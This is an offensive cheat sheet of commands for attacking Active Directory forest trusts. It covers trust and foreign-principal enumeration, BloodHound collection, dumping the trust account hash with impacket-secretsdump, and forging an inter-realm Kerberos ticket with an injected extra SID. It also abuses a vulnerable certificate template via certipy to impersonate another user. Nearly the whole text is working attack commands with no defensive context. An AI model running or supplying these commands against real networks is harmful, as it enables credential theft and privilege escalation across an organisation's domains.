Forest Trust Attacks

Get-ADTrust -Filter * | ? {$_.ForestTransitive -eq $true}
([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Get-DomainTrust -Domain target-forest.local

Get-DomainUser -Domain target-forest.local

Get-DomainForeignGroupMember -Domain target-forest.local
Get-DomainForeignUser -Domain target-forest.local

bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c all
bloodhound-python -u user -p pass -d target-forest.local -ns TARGET_DC_IP -c all

nltest /sc_query:target-forest.local
netdom trust target-forest.local /domain:domain.local /quarantine

impacket-secretsdump DOMAIN/admin:pass@DC_IP -just-dc-user 'TARGET-FOREST$'

impacket-ticketer -nthash TRUST_HASH -domain-sid MY_SID -domain domain.local -spn krbtgt/TARGET-FOREST.LOCAL -extra-sid S-1-5-21-TARGET-1107 administrator   # RID >= 1000 (RID < 1000 like 513 is filtered)

# Enumerate accessible shares
crackmapexec smb TARGET_FOREST_HOSTS -u 'DOMAIN\user' -p password --shares

# Access
smbclient //TARGET/share -U 'DOMAIN\user%password'

certipy find -u [email protected] -p pass -dc-ip TARGET_DC -vulnerable
certipy req -u [email protected] -p pass -ca TARGET_CA -template VulnTemplate -upn [email protected]

# Find a PAM/bastion trust with SID filtering disabled (abusable)
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}